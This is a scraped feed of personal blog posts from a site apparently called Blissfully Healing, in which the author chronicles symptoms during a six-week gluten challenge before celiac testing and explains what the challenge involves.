I am saddened to say that I am back to using my inhaler in full swing. I use it every 4 hours and if I could, I would probably use it more.

 

3.The room is spinning. But wait… I’m sitting or lying down.

Yes. These happen when I am sitting or lying down.

And Yes. I also have  dizzy and lightheaded spells while standing. And a history of all out pass out spells (which thankfully have not made a reappearance.)

But right now, I get dizzy and lightheaded while lying and sitting down. It’s something, isn’t it.

I actually cant explain this symptom. The first time I had it, I was really afraid, but as it continued to happen, I got used to it and have learned to work past it’s confusion. It’s trippy.

I haven’t had this happen in a while, and now it’s back.

 

4.My perspiration has a pungent smell.

Like many things in this journey, this is also not new. As a matter of fact, before understanding that I had a problem, I would notice that certain foods changed my perspiration. 

Of course, I filled myself with antiperspirants before they started affecting my health. That was until I researched and discovered how much damage antiperspirants actually cause (stay tuned for a post about the dangers of using aluminum filled deodorants and antiperspirants).

Then I experimented and researched with natural deodorant, until I learned how to make my own (This took months of trial and error until I made a recipe that works)

Yes. I make my own deodorant and it works on this symptom like a charm.

 

5.Recovery is very slow: Exercise hurts.

First let me explain my relationship with exercise. I love, love, love, looooveee exercise. Exercise and books are my retreats.

In week 1, I talked about how I struggle with depression and I use staying positive as a way to keep it in check. Along with staying positive, another way I keep my depression in check is exercise and booyyy does it hurt right now.

So now, two of the biggest ways I keep depression at bay are increasingly becoming difficult for me. I feel like I should take this opportunity to say that, the gluten challenge is really not a good idea for people with gluten problems. What a paradox.

In a nut shell. It’s taking me a while to recover from exercise or anything that hurts for that matter. So by all means, it would be a really bad idea for me to get cut or injured in any way right now.

Ok. So like most of the symptoms I have spoken about during this series, this is actually not new. It’s intensity is new, but its existence is not.

About 2 years ago, I started realizing sharp and specific upper back pains that resulted from weight lifting, kickboxing and boxing. I cut down on those and maintained cardio exercise. I then developed serious fatigue issues that made exercising difficult, so I stopped exercising.

Like most of the symptoms I talk about through this series, the fatigue and pains disappeared when I changed my diet, and  I went back to exercising full swing. But now they are back with a new ferocity and I am back to no gym.

So my upper back hurts, no surprise there. The new thing is, my body takes f.o.r.e.v.e.r  t.o  r.e.p.i.a.r from soreness. I don’t actually feel sore. I am just in pain.

Another interesting thing that may be connected to this is, I have a tan from November 2017 that has not completely gone away. Maybe poor blood circulation? but I am thinking that whatever is keeping the tan from completely going away is probably contributing to my pain during exercise repair.

6. Wait… I can’t see.

So I noticed this before I started the gluten challenge. I noticed that on days that I have flare-ups or a bit of inflammation, my eyesight is not good. What I usually see, I cannot.

With gluten, this issue has become heightened. The seriousness of it is increasing by week. For the most part, everything at a distance is becoming blurry to a certain extent.

7. Ohhh my joints

I love sitting on the floor, and this is becoming something of a challenge. Keeping my knees bent for a long time or sitting on my heels, cause significant pain when I unfurl my limbs. Oyy, the pain.

Also, typing and using the mouse is starting to create a bit of a challenge. Not too much to cause me concern, but enough to be noticed.

 

Related Posts:

 

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]]> 688 My Gluten Challenge Week 2: The intensifying of symptoms https://blissfullyhealing.com/my-gluten-challenge-week-2-the-intensifying-of-symptoms/ Sun, 08 Apr 2018 18:01:06 +0000 https://blissfullyhealing.com/?p=668 My. Oh my! Oh my! Oh my! Oh my! Oh my! Whoever called it a gluten challenge really knew what they were talking about. If you haven’t had a chance to read how my first week of the challenge went, …

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]]> My. Oh my! Oh my! Oh my! Oh my! Oh my!

Whoever called it a gluten challenge really knew what they were talking about. If you haven’t had a chance to read how my first week of the challenge went, read it here, and continue with the second to fully get the picture of what your body might do during a gluten challenge.

 

Gluten Challenge week 3
Photo by Jorge Zapata on Unsplash

 

Personal experience:

I was curled up on the floor on a heap of clothing I was supposed to fold. Nestling in the corner that connects the window wall and the closet, as my mom walked into our room from work. I could see that look she gets whenever I am not well, but I couldn’t help it. I am usually excellent at masking pain so my mom doesn’t get worried or hurt along with me, but this time I was stumped.  

 

I peeked over my shoulder, gave her a smile and plopped back on the clothes. She smiled back, kicked into nurse mode and asked a good deal of questions, then eventually asked a question that was more of a statement than a question.

 

“6 weeks huh, are we really going to make it?” She was referring to the length of time I have to be on the gluten challenge. To read more about the facts of a gluten challenge, click here.

 

This happened at the end of the second week, actually, on day 14. I was struggling. I haven’t been able to sleep properly in about 2 weeks and at this stage, my stomach, along with the rest of my body have decided not to work with me.

 

Pain, pain, pain.

 

1.Stomach and back.

My stomach has officially become a knot, it has turned into a tensed rock that causes a domino effect of pain across my body and back. The part of the spine associated with nerves that communicate with my digestive system has also become a knot.

 

Difficulty digesting:

My stomach is having a hard time digesting food again. Yes, its yet another again thing. I had this problem before cutting foods out of my diet last year.

Eating is seriously making me sick. Nausea, sharp pains in my stomach, indigestion, heartburn etc. Basically feeling as though my stomach can’t handle whatever I am giving it. Which makes it very difficult to eat, or want to eat.

 

Solution: 

I am back to taking digestive enzymes*, before eating.

*amazon affiliate link

 

2.Constipation.

Ugh! Enough said.

 

3.Fatigue.

Oh my. So last week I was tired. This week, I don’t even know what to call it.

I am simply struggling with basics. I can’t do regular things like keep the room tidy, which I am a stickler for because I just love being around clean, organized spaces. Well, the way I feel only makes one thing possible, lying down. The pain definitely does not help.

 

4.Insomnia

I can’t sleep.

Actually, I should say that I can’t sleep properly. I am exhausted and sleeping is a problem. What a winning combination.

The stomach cramps I talked about in week one are back, only because the stomach is always a knot, and I don’t know what to do.

 

4.Headaches

Yeah, a new normal for me now. Probably because of the back ache, stomach ache and most probably because of the fact I am not sleeping well.

 

5. Joint Pains

Rise from the ashes.

Joint pains are nothing new. There was a period of time in 2017 when working was really difficult. I worked a desk job that depended mostly on computer use, and I was having a hard time holding a mouse.  My joints hurt a lot, and wrapping my fingers around that mouse was not fun. AT ALL.

 

6.Pelvic pains

Ahh. The joy of gluten. It makes everything a pain.

 

7.Pins and needles

Yes. It’s as bad as it sounds. 

 

8.Inflammation

Again, this is nothing new, I am slowly noticing full body inflammation symptoms. Even though they aren’t bad yet, the intensity of it’s symptoms are increasing.

 

9. My hands and feet are popsicles

My hands and feet are always cold. Again, nothing new, but the intensity of it has increased.

 

 

Related Posts:

The post My Gluten Challenge Week 2: The intensifying of symptoms appeared first on Blissfully Healing.

]]> 668 My Gluten Challenge Week 1: The Return of Symptoms https://blissfullyhealing.com/my-gluten-challenge-week-1-the-return-of-symptoms/ Fri, 30 Mar 2018 15:45:25 +0000 https://blissfullyhealing.com/?p=639 The gluten challenge is supposed to make you sick. The reason any gastroenterologist will ask anyone who has been off gluten to reintroduce it back into their system, is to get the patient sick. This way, the doctor gets to …

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]]> The gluten challenge is supposed to make you sick.

The reason any gastroenterologist will ask anyone who has been off gluten to reintroduce it back into their system, is to get the patient sick. This way, the doctor gets to see just how sick gluten makes you and if that qualifies within the category of gluten sensitivity or celiac disease, then, you get a label!.

 

Photo by Helena Yankovska on Unsplash

 

Personal experience:

Finally!!!

I finally got an appointment with a gastroenterologist. Well, it only took about 3-4 months, big whoop huh.

So I sat there, feeling grateful for the appointment and anxious about what is to come.

I really don’t like talking about myself, and that includes my symptoms. I must say that this is a very bad dislike for someone who has to go in and out of doctors offices, and each time have to talk about what’s been happening and how much it hurts.

Either way, I was finally there.

 

Doctor 1:

The first, who wasn’t my assigned doctor, seemed to be a residency doctor or student, I don’t know how the labels works. He irritated me on so many levels other than the fact that he did not know that rice does not contain gluten. Yet here we are discussing a gluten problem!

 

He was condescending in the way he was asking questions and  follow up questions. It was as though, because I was in the patient seat and he was in the doctor seat, he knew more about what I was going through than I did. So I would say something and he would correct me, I mean, how do you correct a statement about my symptoms?!

 

Either way, after our little argument about rice’s gluten status, he said he would check up on it and decided to go discuss me with my assigned doctor and come back. Only he did not come back, my doctor came in instead.

 

Doctor 2:

I had to discuss my symptoms again, arrgggghhhhh, then we discussed my options for testing. At this point I was very irritated. I don’t like doctors offices, terrible experiences all around. I just had to defend my symptoms to a student doctor and here I am having to explain myself yet again.

 

Although, the second doctor was nice, rather than battle with me, she listened and chimed in with questions that helped me explain myself better. We discussed my many gut issues and she ordered a few tests, the first for SIBO(small intestine bacterial overgrowth) and the second for celiac disease.

 

Then she broke the news, I have to eat gluten three times a day for 6 weeks. I am sure I forgot to breathe for a little while. All I could think of was the pain. Pain. Oh, the pain. Gluten causes me a lot of pain and other negative stuff that I would rather not have in my body or life. Pain.

 

I was quiet for a while, lost in thought before she called me back into the room. She explained why I must eat gluten three times a day for 6 weeks, consoled me, then assured me that she would be the one doing the endoscopy and biopsy. 

 

She said she would be taking a few samples of my insides along with seeing how everything looks in there, then we will discuss it, and see what we’ll need to do next.

 

Then came the second set of bad news, along with eating gluten, I need to eat everything else that I have been avoiding (I am currently allergic to fruits, vegetables, grains, and most seeds and nuts).

 

Me: “Wait. But everything hurts.”

Doctor: “Yes, I understand, but that will allow me to see exactly what is going on.”

As she walked out, she smiled at me and said, “look on the bright side, now you get to eat some cookies”

And the gluten/all foods challenge began.

 

My Symptoms:

This week was the rise of the fallen. I had managed to get rid of most of these symptoms by avoiding what hurts and mostly eating soups and plain rice, but now they are back.

1. Itchy throat, aching ears, sinus and chest congestion

My first line of allergy defense has always been an overproduction of mucus. So the itchy throat, aching ears, chest congestion and a bit of sinus congestion was not surprising to me. This happened a little bit after my first serving of gluten.

 

2.Stomach cramping

After the first serving I was quite tired, so I took a nap. When I woke up, my stomach was in knots, accompanied by sharp pains.

The first and second night were tough as well.

 

The first night I woke up with blinding pains shooting from my stomach to everywhere and anywhere. The stomach was a knot and breathing was difficult and catalyzed an array of shooting pains that stretched to wherever they wanted.

I sat up, painfully and slowly coached myself into softer breaths that eased the pains, and drank the warm water I keep on the edge of my bunk next to my pillow.

 

The second night, I armed myself.

Before I slept, I did breathing exercises and slightly massaged my stomach, stretched the rest of my body then slept.

Yes, I woke up with cramps and sharp pains, but the second time was less intense.

 

To avoid the pains, I increased my water intake through the day and started doing breathing exercises along with stretching my whole body before sleeping. The cramps only come back in the middle of the night when I forget to do my breathing exercises or when I don’t drink enough water.

 

3.Fatigue

I am usually tired, even after removing everything from my diet, I still needed a 2 hour nap on a daily basis to manage living.  Although, when I woke up in morning or after my nap, I was always refreshed and ready to live.

 

This week was different, I was exhausted.

I went back to fatigue and this brought back some very bad memories of extreme and chronic fatigue that I struggled with before for years before cutting foods out of my diet.

 

4.Moody, irritable

Sigh. I really do not like this part of my symptoms.

Yet, it is one of the things that happens to me along with many celiac and gluten sensitive patients.

 

5.Muscle tension

This is happening through the body, but more so in my back, around the area of the spine and nervous system that correspond to my gut.

 

6.The blues are back.

I have depression already, a parting gift from my narcissistic relationship. Although keeping it in check is much more difficult now that gluten is back.

This is because of the mind-gut connection. According to research, 90% of our serotonin, our happy hormone, is produced in the gut. Now, here I am messing with the factory of my happy hormones.

Along with the depression, anxiety, confusion and bouts of fear are also back. Yay me. Although… I am grateful that seizures have not joined the party.

 

7.Difficulty staying positive

This is no surprise, considering that I am messing with the balance of my happy hormone factory.

One of my biggest tools against depression is positive thoughts before sleeping and after waking up. I refuse to take antidepressants and have always taken the route less traveled. I do it all naturally, it definitely takes more effort and determination than the pills, but I like my odds better this way.(Stay tuned, more articles about how I deal with depression naturally coming soon).

And one of my biggest tools, staying positive, is slowly slipping away from me.

 

8.My skin is on fire

Alright, so one of the oddest symptoms I have developed over the years has been feeling as though patches of my skin are burning or have been recently burned.

I remember the first time it happened years ago, I thought it was because my skin was dry and I needed to keep it moisturized, so I applied plain Shea butter and coconut oil. That helped a bit, but the burning still persisted.

The burning sensations disappeared a little while after changing my diet by removing gluten and other foods that hurt.

Well… burn is back.

 

Related posts:

 

 

 

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]]> 639 All about the Gluten Challenge: What you need to know before getting started https://blissfullyhealing.com/all-about-the-gluten-challenge-what-you-need-to-know-before-getting-started/ Thu, 29 Mar 2018 16:02:40 +0000 https://blissfullyhealing.com/?p=634 Contrary to popular belief, gluten challenge isn’t the avoiding of gluten, it is actually the reintroduction of gluten into the diet. Most people suffering from gluten sensitivity or celiac disease have serious reactions to gluten that reduce their physical, mental …

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]]> Contrary to popular belief, gluten challenge isn’t the avoiding of gluten, it is actually the reintroduction of gluten into the diet. Most people suffering from gluten sensitivity or celiac disease have serious reactions to gluten that reduce their physical, mental and emotional functionality. In the simplest way to explain it, gluten does A LOT of harm and in some cases causes A LOT of pain.

 

Photograph by Fleur Treurniet on Unsplash

Personal experience:

I have struggle with a variety of ailments and symptoms for a long period of time, all of them are not connected to gluten,  but over the last two years, I realized that eating breads, and certain grains actually hurt a lot, so I joined the gluten-free group. I then saw a Naturopathic doctor who also recommended I go off gluten based on my symptoms, and that was that. I have been off gluten for about a year and a half.

I noticed a lot of good as a result of avoiding gluten. I cannot give all my praise to a gluten free lifestyle, but it helped a lot.

I noticed a reduction of a lot of symptoms such as extreme fatigue, sharp stomach pains and cramps, feeling of throat closing up right after eating, indigestion, bloating, heartburn, inflammation etc. I am grateful that I was able to discover that eating a gluten-free diet eliminated many of my symptoms and reduced the intensity of many others.

 

So…

What is the gluten challenge?

Before a celiac disease or gluten sensitivities diagnosis, most people who  realize that gluten hurts eventually stop eating it. Although when trying to diagnose and figure out where the problem is, doctors ask patients to begin eating gluten again for a period of 4-6 weeks so that they can look at the gut through an endoscopy and take samples for lab analysis through the biopsy.

The reason it’s a challenge is because if you do have a problem with gluten, those 4-6 weeks will not be a walk in the park.

 

Why is the period of reintroduction so long?

The period of reintroduction is 4-6 weeks because it takes time for antibodies to build in the system and be noticed in the blood stream. In addition, this period of time allows the gluten to do enough damage in your gut for the doctor to see significant results in a biopsy. Sad but true.

 

What are the downfalls of the gluten challenge?

With the gluten challenge, the doctor is actually asking you to make yourself sick. Another sad but true fact. This way, the doctor will be able to put a label on your illness.  This means that you are causing a lot of damage to your body, mostly your gut, and in most cases you will be un-doing all the hard work you did while being gluten-free.

 

What should you expect during your gluten challenge?

The weeks that you are on your gluten challenge will be very challenging and most likely make daily living very difficult.

You should expect the same symptoms you had before you decided to follow a gluten free lifestyle, and in some cases, expect new set of symptoms as well.

 

 

What are the most common symptoms?

Please understand that each person embodies celiac disease and gluten sensitivity differently. You may not have all the symptoms below and in some cases, you may have all the symptoms in addition to others not listed.

 

Fatigue,pains in your gut, bloating, constipation, diarrhea, depression, moods swings, anxiety, panic attacks, dizziness, canker sores inside and outside the lips, menstrual irregularities and pelvic pains, migraines and seizures, arthritis and bone/joint pains, earaches and infections, sinus infections, repeated bronchitis infections, cold and flu, random aches and pains across your body, inflammation, headaches/migraines and more.

 

For more information about celiac disease and the gluten challenge, please visit the Celiac Disease Foundation at celiac.org

 

Related Posts:

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